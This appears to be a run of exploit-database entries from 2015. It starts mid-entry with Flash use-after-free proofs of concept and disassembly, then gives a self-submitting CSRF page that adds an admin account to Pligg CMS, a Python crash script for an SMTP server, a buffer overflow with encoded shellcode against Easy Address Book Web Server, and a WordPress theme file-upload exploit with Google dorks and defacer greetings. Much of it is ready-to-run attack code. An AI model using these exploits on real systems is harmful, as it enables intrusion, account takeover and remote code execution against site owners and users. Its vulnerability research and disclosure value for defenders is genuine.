a2[3] = 0
a2[0x324/4] = 0x41414100
a2[0x324/4 + 1] = 0x41424344
a2[0x324/4 + 2] = 0x41414143
a2[0x324/4 + 3] = 0x41414100
for (var i = 0; i<0x200;i++) {
var tf:TextFormat = new TextFormat()
a1[i] = tf
}
for (var i = 0; i<0x100;i++) {
a1[i].tabStops = a2
}
var tfield:TextField = createTextField("tf",1,1,2,3,4)
function f() {
_global.mc.createTextField("tf",1,1,2,3,4)
for (var i = 0x100; i<0x200;i++) {
_global.a1[i].tabStops = _global.a2
}
}
_global.mc = this
_global.counter = 0
_global.a1 = a1
_global.a2 = a2
var oCounter:Object = new Object()
oCounter.valueOf = function () {
_global.counter += 1
if (_global.counter == 1) f()
return 10;
}
var o = {length:oCounter, s:new GlowFilter(1,2,3,4,5,6,true,true)}
tfield.filters = o
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37848.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=352&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
If the fpadInfo property of a NetConnection object is a SharedObject, a use-after-free occurs when the property is deleted. A proof-of-concept is as follows:
var s = SharedObject.getLocal("test");
ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var q = {myprop :"natalie", myprop2 : "test"};
s.data.fpadInfo = q;
s.flush();
var n = new NetConnection();
ASnative(2100, 200)(s.data);
n.connect.call(s.data, "");
trace(s.data.fpadInfo);
s = 1;
//GC happens here
setInterval(f, 1000);
function f(){
ASnative(252, 1).call(q); //Array push
delete q.myprop;
}
A fla, an AS file and two swfs are attached. shareddelete.fla compiles to shareddelete.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and shareddelete.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37850.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=349&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
Credit is to KEEN Team.
3 different PoC's in the attached zip.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37849.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=354&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[90-day deadline tracking for https://code.google.com/p/chromium/issues/detail?id=481639]
---
An instance of ActionScript's Sound class allows for loading and extracting for further processing any kind of external data, not only sound files. Same-origin policy doesn't apply here. Each input byte of raw data, loaded previously from given URL, is encoded by an unspecified function to the same 8 successive sample blocks of output. The sample block consists of 8 bytes (first 4 bytes for left channel and next 4 bytes for right channel). Only 2 bytes from 8 sound blocks (64 bytes) are crucial, the rest 52 bytes are useless. Each byte of input from range 0-255 has corresponding constant unsigned integer value (a result of encoding), so for decoding purposes you can use simply lookup table (cf. source code from BoundlessTunes.as).
1. Put attached file BoundlessTunes.swf on the HTTP server.
2. Open http://<SERVER_HOSTNAME>/BoundlessTunes.swf?url=<URL> where <URL> is an URL address (e.g. leading to cross-origin resource). A received response will be displayed in alert window.
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37851.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=355&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
In certain cases where a native AS2 class sets an internal variable, it can lead to a use-after-free if the variable is a SharedObject. While this example shows setting NetConnection.contentType, this applies to several other variables including many proprties of the Sound and NetStream classes.
A proof of concept is as follows:
var s = SharedObject.getLocal("test");
ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var o = {myprop: "test", myprop2: "test"};
s.data.contentType = o;
flush();
ASnative(2100, 200)(s.data); // new NetConnection
trace(s.data.contentType);
s = 1;
//Do GC
for(var i = 0; i < 100; i++){
var b = new flash.display.BitmapData(100, 1000, true, 1000);
}
setInterval(c, 1000);
function c(){
ASnative(252, 1).call(o); //Array push
}
A fla, an AS file and two swfs are attached. donotdelete.fla compiles to donotdelete.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and donotdelete.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37852.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=358&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Deadline tracking for https://code.google.com/p/chromium/issues/detail?id=457680]
---
VULNERABILITY DETAILS
There is a use after free in Flash caused by an improper handling of BitmapData objects in the DisplacementMapFilter.mapBitmap property.
VERSION
Chrome Version: 40.0.2214.111 stable, Flash 16.0.0.305
Operating System: Win7 SP1 x64]
The AS2 mapBitmap_as2.fla can be compiled with Flash CS5. Some bytes must be changed manually to trigger the issue (see below).
Just put mapBitmap_as2.swf in a browsable directory and run the swf with Chrome. It should crash while dereferencing 0x41424344.
Here are a few steps to trigger the issue:
1) Create a BitmapData and store it somewhere, for example as a static member of a custom class.
2) Create a second BitmapData and use it to create a DisplacementMapFilter. We don't care about this BitmapData, it is just needed to create the filter.
3) Override the BitmapData constructor with a custom class. That class should put the first BitmapData on top of the AS2 stack when the constructor returns.
4) Create an object o and change its valueOf method so that it points to a function that calls the DisplacementMapFilter.mapBitmap property.
5) Use the first BitmapData and call getPixel32(o).
What happens during step 5? Flash caches first the BitmapData in the stack before calling o.valueOf. At that moment the BitmapData isn't used elsewhere so its refcount equals 1. Flash enters then o.valueOf which leads to get the mapBitmap property. At that moment we hit the following lines, in sub_10193F2D:
CPU Disasm
Address Hex dump Command
6D2D3FBB 68 BE27C66D PUSH OFFSET 6DC627BE
6D2D3FC0 FF73 04 PUSH DWORD PTR DS:[EBX+4]
6D2D3FC3 56 PUSH ESI
6D2D3FC4 8B33 MOV ESI,DWORD PTR DS:[EBX]
6D2D3FC6 E8 A572F8FF CALL 6D25B270 ; that function creates a new atom and calls the BitmapData constructor
6D2D3FCB 84C0 TEST AL,AL
6D2D3FCD 74 09 JE SHORT 6D2D3FD8
6D2D3FCF 8B0B MOV ECX,DWORD PTR DS:[EBX]
6D2D3FD1 6A 01 PUSH 1
6D2D3FD3 E8 281A0100 CALL 6D2E5A00 ; if the constructor is overriden by a custom class, the custom constructor is called here
6D2D3FD8 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8]
6D2D3FDB 8B13 MOV EDX,DWORD PTR DS:[EBX]
6D2D3FDD 56 PUSH ESI
6D2D3FDE E8 418EF6FF CALL 6D23CE24 ; then pop the new atom from the AS2 stack
...
6D2D4000 23F8 AND EDI,EAX
6D2D4002 807F 35 1B CMP BYTE PTR DS:[EDI+35],1B ; and ensure this is indeed a BitmapData
6D2D4006 74 0A JE SHORT 6D2D4012
...
In the next lines Flash does two things. It destroys the BitmapData object associated to the BitmapData atom and replaces it with the one defined in the DisplacementMapFilter:
6D2D4012 8B47 28 MOV EAX,DWORD PTR DS:[EDI+28]
6D2D4015 83E0 FE AND EAX,FFFFFFFE
6D2D4018 8B40 18 MOV EAX,DWORD PTR DS:[EAX+18] ; get the BitmapData object
6D2D401B 33C9 XOR ECX,ECX
6D2D401D 51 PUSH ECX
6D2D401E E8 1DB2FEFF CALL 6D2BF240 ; call the BitmapData destructor
6D2D4023 8B75 10 MOV ESI,DWORD PTR SS:[EBP+10]
6D2D4026 8BC7 MOV EAX,EDI
6D2D4028 E8 134AF6FF CALL 6D238A40 ; and associate the DisplacementMapFilter.mapBitmap object
All of this works as long as the BitmapData object read from the AS2 stack is not in use somewhere. But since we can provide our own constructor, we can do anything with the AS2 stack, including having an in use BitmapData at the top of the stack when the constructor returns. This can be done by manipulating the AS2 byte code of the constructor for example. So if the returned BitmapData has a refcounter set to 1, Flash frees the object and we end up with a garbage reference in the stack which crashes the player in BitmapData.getPixel32.
After compiling mapBitmap_as2.swf, I had to change the bytes at offset 0x90F in the (MyBitmapData constructor):
52 17 96 02 00 04 03 26 to 17 17 17 17 17 17 17 17 (actionPOP)
Hopefully if it works we should crash here with eax controlled:
CPU Disasm
Address Hex dump Command
6D2BFA83 3B58 0C CMP EBX,DWORD PTR DS:[EAX+0C] //eax = 0x41424344
6D2BFA86 7D 57 JGE SHORT 6D2BFADF
6D2BFA88 85FF TEST EDI,EDI
6D2BFA8A 78 53 JS SHORT 6D2BFADF
6D2BFA8C 3B78 08 CMP EDI,DWORD PTR DS:[EAX+8]
6D2BFA8F 7D 4E JGE SHORT 6D2BFADF
6D2BFA91 8BC8 MOV ECX,EAX
6D2BFA93 8B01 MOV EAX,DWORD PTR DS:[ECX]
6D2BFA95 8B50 10 MOV EDX,DWORD PTR DS:[EAX+10]
6D2BFA98 FFD2 CALL EDX
I don't kwow if we can abuse ASLR with that. If we can do something without getting a virtual function dereferenced, it must be possible.
***************************************************************************
Content of MyBitmapData.as
class MyBitmapData extends String
{
static var mf;
function MyBitmapData()
{
super();
var a = MyBitmapData.mf
test(a,a,a,a,a,a,a,a) //that part should be deleted manually in the bytecode
trace(a) //so that MyBitmapData.mf stays on top of the AS2 stack
}
public function test(a,b,c,d,e,f,g,h) {
}
static function setBitmapData(myfilter)
{
mf = myfilter;
}
}
***************************************************************************
Content of mapBitmap_as2.fla
import flash.filters.DisplacementMapFilter;
import flash.display.BitmapData;
var bd:BitmapData = new BitmapData(10,10)
MyBitmapData.setBitmapData(bd)
var bd2:BitmapData = new BitmapData(10,10)
var dmf:DisplacementMapFilter = new DisplacementMapFilter(bd2,new flash.geom.Point(1,2),1,2,3,4)
newConstr = MyBitmapData
flash.display.BitmapData = newConstr
function f() {
var a = dmf.mapBitmap;
}
var a:Array = new Array()
var b:Array = new Array()
for (var i = 0; i<0xC8/4;i++) {
b[i] = 0x41424344
}
var o = new Object()
o.valueOf = function () {
f()
for (var i = 0; i<0x10;i++) {
var tf:TextFormat = new TextFormat()
tf.tabStops = b
a[i] = tf
}
return 4
}
bd.getPixel32(o,4)
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37853.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=359&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Deadline tracking for https://code.google.com/p/chromium/issues/detail?id=482521]
---
VULNERABILITY DETAILS
When setting the scrollRect attribute of a MovieClip in AS2 with a custom Rectangle it is possible to free the MovieClip while a reference remains
in the stack
VERSION
Chrome Version: Chrome stable 42.0.2311.90, Flash 17.0.0.169
Operating System: [Win 7 SP1]
REPRODUCTION CASE
That code targets the MovieClip.scrollRect property. While setting this attribute with a custom Rectangle, it is possible to trigger a use after free by freeing the targeted MovieClip. Creating a TextField with the same depth of the targeted MovieClip is enough to free an object and have Flash crash.
These lines come from flashplayer standalone 17.0.0.169:
.text:00597F45 loc_597F45:
.text:00597F45 cmp eax, 6
.text:00597F48 jnz loc_597FE5
.text:00597F4E mov ecx, esi ; esi points to the MovieClip object
.text:00597F50 call sub_40C1ED
.text:00597F55 add eax, 30Ch
.text:00597F5A or dword ptr [eax], 8
.text:00597F5D mov eax, [ebx]
.text:00597F5F mov byte ptr [eax+82Ch], 1
.text:00597F66 mov ecx, [ebx]
.text:00597F68 lea eax, [ebp+74h+var_1C0]
.text:00597F6E push eax
.text:00597F6F push dword ptr [ebx+0Ch]
.text:00597F72 call xfetchRectangleProperties ; get the Rectangle properties, and execute some AS2
.text:00597F77 test al, al
.text:00597F79 jz loc_598274
.text:00597F7F mov edi, [ebp+74h+var_1C0]
.text:00597F85 mov ecx, esi
.text:00597F87 imul edi, 14h
.text:00597F8A call sub_40C1ED ; reference freed memory and return a bad
pointer
.text:00597F8F mov [eax+310h], edi ; crash here, eax = 0
Poc (compile with Flash CS5.5):
import flash.geom.Rectangle
var o2 = {}
o2.valueOf = function () {
_global.mc.createTextField("newtf",1,1,1,2,3)
return 7
}
var o = {x:o2,y:0,width:4,height:5}
_global.mc = this
var newmc:MovieClip = this.createEmptyMovieClip("newmc",1)
newmc.scrollRect = o
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37854.zip
<!--
# Exploit Title: Pligg CMS CSRF Add Admin Exploit
# Google Dork: intext:"Made wtih Pligg CMS"
# Date: 2015/8/20
# Exploit Author: Arash Khazaei
# Vendor Homepage: http://pligg.com
# Software Link:
https://github.com/Pligg/pligg-cms/releases/download/2.0.2/2.0.2.zip
# Version: 2.0.2
# Tested on: Kali , Iceweasel Browser
# CVE : CVE-2015-6655
# Contact : http://twitter.com/0xClay
# Mail : 0xclay@gmail.com
# Site : http://bhunter.ir
# Description :
# Pligg CMS Is A CMS Written In PHP Language And Licensed Under GPL V 2.0
# In Pligg CMS Panel In Adding Users Section Pligg CMS Allow To Attacker
Add Admin By CSRF
# Vulnerability In Add Users Sections . Another Thing Is Added Admin By
CSRF Vulnerability
# Can't Deleted By Admin :) And Admin Should Delete It From Database .
# Exploit :
-->
<body onload="document.exploit.submit();">
<form action="http://localhost/pligg-cms-master/admin/admin_users.php"
method="post" id="createUserForm" name="exploit" onsubmit="return
checkValidation()">
<input name="username" type="text" class="form-control" id="username"
value="hacker" onchange="checkUsername(this.value)" />
<input name="email" type="text" class="form-control" id="email" value="
hacker@hacker.com" onchange="checkEmail(this.value)"/>
<select name="level">
<option value="admin">Admin</option>
</select>
<input name="password" type="text" class="form-control" id="password"
value="hacker123" onchange="checkPassword(this.value)"/>
<input type="hidden" name="mode" value="newuser">
<input type="submit" class="btn btn-primary" value="Create User"/>
</form>
<!--
Timeline :
21/5/2015 Reported To Developer Team .
22/5/2015 No Responde From Developer Team.
22/5/2015 Request CVE
23/5/2015 Published Vulnerability
# Note: Change The Values Of Exploit To Another Thing :)
# Discovered By Arash Khazaei . (Aka JunkyBoy (Nick Name Changed :P ))
-->
#!/usr/bin/python
# Exploit Title: Mock SMTP Server 1.0 Remote Crash PoC
# Date: 23-08-2015
# Exploit Author: Shankar Damodaran
# Author's Twitter : @sh4nx0r
# Vendor Homepage: http://mocksmtpserver.codeplex.com
# Software Link: http://mocksmtpserver.codeplex.com/downloads/get/87077
# Version: 1.0
# Tested on: Microsoft Windows 7 Home Premium Service Pack 1
# Tested on: Microsoft Windows XP Professional SP3
# Image PoC : http://i.imgur.com/lp7NHTm.png
# The Stack Trace from Microsoft Windows XP Professional SP3
'''
The Exception occured on EBX Register (E0434F4D)
The Registers during the crash
EAX 03BAF618
ECX 00000000
EDX 00000028
EBX E0434F4D
ESP 03BAF614
EBP 03BAF668
ESI 03BAF6A4
EDI 001DFF28
EIP 7C812FD3 KERNEL32.7C812FD3
C 0 ES 0023 32bit 0(FFFFFFFF)
P 0 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFD6000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr WSAECONNRESET (00002746)
EFL 00000202 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
Courtesy : Immunity Debugger
'''
import socket
# Preparing a junk array with two NOPS.
junk_bed=["\x90","\x90"]
# The ip address of the remote host
smtphost = '192.168.1.7'
# The port of the remote host
smtpport = 25
for junk in junk_bed:
# Initialize the socket stream
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# Setting a 5 second tolerance limit to check the server uptime
s.settimeout(5)
# Connecting to the remote service.
s.connect((smtphost,smtpport))
# If the server doesn't respond, means its crashed.
try:
s.recv(1)
except socket.timeout:
print "The SMTP Server has been crashed."
quit()
# Sending the evil input
print "Evil Input Sent...Triggering a crash."
s.send('\r\n'+junk+'\r\n')
# Close the connection socket
s.close()
# End of PoC - Shankar Damodaran
#!/usr/bin/python
# Exploit Title: Easy Address Book Web Server 1.6 - USERID Remote Buffer Overflow
# Version: 1.6
# Date: 2015-08-23
# Author: Tracy Turben (tracyturben@gmail.com)
# Software Link: http://www.efssoft.com/
# Tested on: Win7x32-EN,Win7x64-EN
from struct import pack
import socket,sys
import os
host="192.168.1.15"
port=80
nopsled0 = "A" * 80
EDX = pack('<L',0x1001AFB8) # 1001AFE0 - 28 = 1001AFB8 JG SHORT 1001AF91 to MOV EAX,EBX POP EBP POP EBX RETN Return to Shellcode
nopsled1="\x90" * 20
extraroom = "\x90" * 780
# windows/exec CMD=calc.exe
# Encoder: x86/shikata_ga_nai
# bad characters '\x00\x0a\x0d'
shellcode=("\xda\xca\xbb\xfd\x11\xa3\xae\xd9\x74\x24\xf4\x5a\x31\xc9" +
"\xb1\x33\x31\x5a\x17\x83\xc2\x04\x03\xa7\x02\x41\x5b\xab" +
"\xcd\x0c\xa4\x53\x0e\x6f\x2c\xb6\x3f\xbd\x4a\xb3\x12\x71" +
"\x18\x91\x9e\xfa\x4c\x01\x14\x8e\x58\x26\x9d\x25\xbf\x09" +
"\x1e\x88\x7f\xc5\xdc\x8a\x03\x17\x31\x6d\x3d\xd8\x44\x6c" +
"\x7a\x04\xa6\x3c\xd3\x43\x15\xd1\x50\x11\xa6\xd0\xb6\x1e" +
"\x96\xaa\xb3\xe0\x63\x01\xbd\x30\xdb\x1e\xf5\xa8\x57\x78" +
"\x26\xc9\xb4\x9a\x1a\x80\xb1\x69\xe8\x13\x10\xa0\x11\x22" +
"\x5c\x6f\x2c\x8b\x51\x71\x68\x2b\x8a\x04\x82\x48\x37\x1f" +
"\x51\x33\xe3\xaa\x44\x93\x60\x0c\xad\x22\xa4\xcb\x26\x28" +
"\x01\x9f\x61\x2c\x94\x4c\x1a\x48\x1d\x73\xcd\xd9\x65\x50" +
"\xc9\x82\x3e\xf9\x48\x6e\x90\x06\x8a\xd6\x4d\xa3\xc0\xf4" +
"\x9a\xd5\x8a\x92\x5d\x57\xb1\xdb\x5e\x67\xba\x4b\x37\x56" +
"\x31\x04\x40\x67\x90\x61\xbe\x2d\xb9\xc3\x57\xe8\x2b\x56" +
"\x3a\x0b\x86\x94\x43\x88\x23\x64\xb0\x90\x41\x61\xfc\x16" +
"\xb9\x1b\x6d\xf3\xbd\x88\x8e\xd6\xdd\x4f\x1d\xba\x0f\xea" +
"\xa5\x59\x50")
payload=nopsled0 + EDX + nopsled1 + shellcode + extraroom
buf="GET //addrbook.ghp? HTTP/1.1\r\n"
buf+="User-Agent: Mozilla/4.0\r\n"
buf+="Host:" + host + ":" + str(port) + "\r\n"
buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buf+="Accept-Language: en-us\r\n"
buf+="Accept-Encoding: gzip, deflate\r\n"
buf+="Referer: http://" + host + "/\r\n"
buf+="Cookie: SESSIONID=1337; UserID=" + payload + "; PassWD=;\r\n"
buf+="Conection: Keep-Alive\r\n\r\n"
print "[*] Connecting to Host " + host + "..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
connect=s.connect((host, port))
print "[*] Connected to " + host + "!"
except:
print "[!] " + host + " didn't respond\n"
sys.exit(0)
print "[*] Sending malformed request..."
s.send(buf)
print "[!] Exploit has been sent!\n"
s.close()
##################################################################################
# Description : Wordpress Themes GeoPlaces3 - Arbitrary File Upload vulnerbility
# Google Dork: inurl:/wp-content/themes/GeoPlaces3/
# Date: 23 August 2015
# Vendor Homepage: http://templatic.com/app-themes/geo-places-city-directory-wordpress-theme
# Tested on: Win 7 & Win 8.1
# Author: Mdn_Newbie | Gantengers Crew
# https://forum.gantengers-crew.org/
##################################################################################
Exploit : wp-content/themes/GeoPlaces3/library/includes/upload.php
wp-content/themes/GeoPlaces3/library/includes/upload_3feb.php
Path : /wp-content/uploads/tmp/
<?php
$uploadfile="m.jpg";
$ch =
curl_init("https://server/wp-content/themes/GeoPlaces3/library/includes/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
WE ARE : SultanHaikal - d3b~X - Brian Kamikaze - Coupdegrace - Mdn_newbie - Index Php
GREETS TO: Gantengers Crew - Indonesian Defacer - Indonesian Cyber Army - Defacer Tersakiti Team - Suram Crew - Surabaya BlackHat - AND All Moeslim Defacer